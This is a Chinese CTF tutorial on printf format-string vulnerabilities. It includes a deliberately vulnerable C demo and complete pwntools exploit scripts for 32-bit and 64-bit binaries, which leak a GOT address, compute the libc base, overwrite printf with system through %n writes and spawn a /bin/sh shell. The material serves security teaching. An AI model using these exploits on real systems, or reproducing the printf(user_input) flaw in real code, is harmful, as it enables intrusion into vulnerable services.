PWN格式化字符串漏洞
0x00 前言
格式化字符串漏洞是PWN
题常见的考察点,仅次于栈溢出漏洞。
漏洞原因:程序使用了格式化字符串作为参数,并且格式化字符串为用户可控。
其中触发格式化字符串漏洞函数主要printf
、sprintf
、fprintf
、prin
等C库中print
家族的函数。
0x01 格式化字符串漏洞
1.1 格式化字符串漏洞形成原因
正常的 printf
用法:
#include <stdio.h>int main(){ char str[100]; scanf("%s",str); printf("%s",str);return 0;}
错误的printf
写法:
#include <stdio.h>int main(){ char str[100]; scanf("%s",str); printf(str);return 0;}
程序将格式化字符串的输入权交给用户,printf
函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。
所以没有参数,代码也会将format string
后面的内存当做参数以16进制输出。这样就会造成内存泄露。
1.2 格式化说明符
%d - 十进制 - 输出十进制整数%s - 字符串 - 从内存中读取字符串%x - 十六进制 - 输出十六进制数%c - 字符 - 输出字符%p - 指针 - 指针地址%n - 到目前为止所写的字符数
0x02 举个例子
栗子是学哥给的,学哥知道我要写pwn
文,学哥可高兴了,给我爱做的格式化字符串。
#include <stdio.h>#include <stdlib.h>int flag = 1;char * output = "bye~";void init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL);}int main(int argc, char const *argv[]){ init(); char buf[0x100]; while(flag) { read(0, buf, 0x100); printf(buf); } puts(output); return 0;}
2.1 解题思路
这个程序意思就是把你的输入原样打出,因为存在格式化字符串漏洞,所以我们就可以通过漏洞点去泄漏出got
表地址,然后计算出libc
基地址然后通过格式化字符串任意写地址把printf
地址改写成system
地址,然后发送一个/bin/sh
。
因为printf
会打印出你所输入的内容,我们上面修改了printf
为system
,原本是printf(buf) buf为你输入的内容
,但是我们改写了以后就成了system(buf)
buf
为我们的/bin/sh
就成了system(/bin/sh)
,从而拿到了shell
。
2.2 动手
编译一下~然后就根据我们上面的思路来一步一步完成我的登基大业。
gcc -m32 -no-pie -o demo demo.c
(1)祭出格式化字符串大杀器之%p
。
(2)可以计算出偏移为11
,也就是第11
位会泄漏出我们的输入,那我们就可以获取printf
的got
表里面的真实地址。
p.send(p32(printf)+'%11$s')
addr = u32(p.recv()[4:8])print "addr===>"+hex(addr)
(3)然后需要获得这个libc
的基地址,用我们泄漏出来的地址减去printf
的偏移就得到了libc
的基地址。
libcbase = addr - libc.sym['printf']log.debug(hex(libc.sym['printf']))print "libcbase====>"+hex(libcbase)
(4)得到libc
基地址后我们要改写printf
为system
,但是我们不知道system
的地址,就需要算出system
的地址
system = libcbase + libc.sym['system']print("system===>"+hex(system))
(5)改写printf
为system
fmtstr_payload
是pwntools
里面的一个工具,用来简化对格式化字符串漏洞的构造工作,我们也用这个来改写printf
。
payload = fmtstr_payload(11,{printf:system})
(6)我们gdb
调试一下,看看是不是被改写了。
(7)后续我们的参数都是在system
里面执行的了。
(8)拿到了shell
。
2.3 完整的exp
import sysfrom pwn import *context.log_level = 'debug'if sys.argv[1] =='p': p = process('./demo')else: p = remote('',)
offset = 11
elf = ELF('./demo')libc = ELF('/lib/i386-linux-gnu/libc.so.6')
printf = elf.got['printf']
p.send(p32(printf)+'%11$s')
addr = u32(p.recv()[4:8])print "addr===>"+hex(addr)
libcbase = addr - libc.sym['printf']log.debug(hex(libc.sym['printf']))print "libcbase====>"+hex(libcbase)
system = libcbase + libc.sym['system']print("system===>"+hex(system))
payload = fmtstr_payload(11,{printf:system})
p.send(payload)
gdb.attach(p)p.send('/bin/sh\x00')
p.interactive()
0X03 64位格式化字符串利用方法
(1) 这个64
位思路和这个32
位是差不多的,但是还是有区别的不能直接用fmtstr_payload
去改写printf
,下面就来看一下具体是怎么操作的。
(2)前面的偏移基本上不变,就是泄漏printf
的got
真实地址的时候有点区别,来看一下吧。
p.send(p64(printf_add)+ '%9$s' )prinf_addr = u64(p.recv()[4:10].ljust(0x8,"\x00"))log.debug("prinf_addr===>"+hex(prinf_addr))
为什么就不行呢?因为在发送的时候\x00一般都为字符串的结束,也就是被\x00截断了。
(3)我们就要把地址放在字符串的后面,这样我们就泄漏出来了地址。
p.send('aaaa' + '%9$s' + p64(printf_add))prinf_addr = u64(p.recv()[4:10].ljust(0x8,"\x00"))log.debug("prinf_addr===>"+hex(prinf_addr))
(4)还是计算基地址和system
。
libc_base = prinf_addr - libc.sym['printf']print ('libc_base====>'+hex(libc_base))
system_addr = libc_base + libc.sym['system']print('system_addr====>'+hex(system_addr))
(5)前面也是说了,64
位不和32
位一样,不能直接通过fmtstr_payload
去改写地址,要一点一点一点一点一点一点一点一点地写,好我们来写,先贴一下payload
然后一点一点来讲。
def fmt_x64_small(offset, address, context): ofz = offset + 5 bit1 = context & 0xffff bit2 = (0x10000 - bit1) + ((context >> 16) & 0xffff) bit3 = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff) payload = "%{0}c%{1}$hn".format(bit1,ofz) payload += "%{0}c%{1}$hn".format(bit2,ofz+1) payload += "%{0}c%{1}$hn".format(bit3,ofz+2) payload += ((5 * 0x8) - len(payload))*"a" payload += p64(address) payload += p64(address + 2) payload += p64(address + 4) return payload
(6)举个学哥的栗子,就是写入0x23cc
的时候,要先写入cc
,%204c%1$hhn
,写入0x23
的时候如果还是用写入 %35c%2$hhn
就会变成204+35
所以就要 (0x100-0xcc + 0x23)
就是 就变成了0x123
因为 $hhn
只读两字节所以就变成了0x23
,这就写进去了。
def fmt_x64_small(offset, address, context): ofz = offset + 5 bit1 = context & 0xffff bit2 = (0x10000 - bit1) + ((context >> 16) & 0xffff) bit3 = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff) payload = "%{0}c%{1}$hn".format(bit1,ofz) payload += "%{0}c%{1}$hn".format(bit2,ofz+1) payload += "%{0}c%{1}$hn".format(bit3,ofz+2) payload += ((5 * 0x8) - len(payload))*"a" payload += p64(address) payload += p64(address + 2) payload += p64(address + 4) return payload #May cause IO errors #0x41payload = fmt_x64_small(8, elf.got["printf"], system_addr)
(7) 这个+5
,是因为payload
长度为40/8
就加5
,如果不加5
就会指向payload
里面的地址,加5
以后就指向了后面的地址,然后改写为system
。
system = 0x7f6f835403a00x3a0 = context & 0xffff
0x8345 = (0x10000 - bit1) + ((context >> 16) & 0xffff)
0x7f6f = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff)然后 这个((5 * 0x8) - len(payload))*"a"是用来对齐的然后就往printf写。
(8) 用下面的构造好的函数写入,就和32
位的fmtstr_payload
差不多,只不过一个是用别人的,一个是自己实现。
payload = fmt_x64_small(8, elf.got["printf"], system_addr)
(9)现在还是printf
。
(10)已经成了system
然后就非常的熟悉了,发送lsx00
然后看一下执行没,就成功执行。
(11)看剑。
0x04 总结一下
printf
格式化字符串的利用能够完成很多事情,栈泄露,存泄露,任意地址的读写,实际的CTF
比赛,都会对格式化字符串进行检查或对长度、内容加以限制,这时候我们需要将格式化字符串利用与其他手段结合起来使用。
# -*- coding: utf-8 -*-
# @Author: E4
# @Date: 2021-06-04 15:56:41
# @Last Modified by: E4
# @Last Modified time: 2021-06-05 09:57:04
import sys
from pwn import *
context.log_level = 'debug'
if sys.argv[1] =='p':
p = process('./demo64')
else:
p = remote('',)
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process('./demo64')
i += 1
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
# offset = pianyi('./demo64')
# print(offset)
offset = 8
elf = ELF('demo64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
printf_add = elf.got['printf']
print ('got===`'+hex(printf_add))
p.send('aaaa' + '%9$s' + p64(printf_add))
prinf_addr = u64(p.recv()[4:10].ljust(0x8,"\x00"))
log.debug("prinf_got===>"+hex(prinf_addr))
libc_base = prinf_addr - libc.sym['printf']
print ('libc_base====>'+hex(libc_base))
system_addr = libc_base + libc.sym['system']
print('system_addr====>'+hex(system_addr))
def fmt_x64_small(offset, address, context):
ofz = offset + 5
bit1 = context & 0xffff
bit2 = (0x10000 - bit1) + ((context >> 16) & 0xffff)
bit3 = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff)
payload = "%{0}c%{1}$hn".format(bit1,ofz)
payload += "%{0}c%{1}$hn".format(bit2,ofz+1)
payload += "%{0}c%{1}$hn".format(bit3,ofz+2)
payload += ((5 * 0x8) - len(payload))*"a"
payload += p64(address)
payload += p64(address + 2)
payload += p64(address + 4)
return payload
#May cause IO errors
#0x41
payload = fmt_x64_small(8, elf.got["printf"], system_addr)
p.send(payload)
p.send('/bin/sh\x00')
p.interactive()
0x04 总结一下
printf
格式化字符串的利用能够完成很多事情,栈泄露,存泄露,任意地址的读写,实际的CTF
比赛,都会对格式化字符串进行检查或对长度、内容加以限制,这时候我们需要将格式化字符串利用与其他手段结合起来使用。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。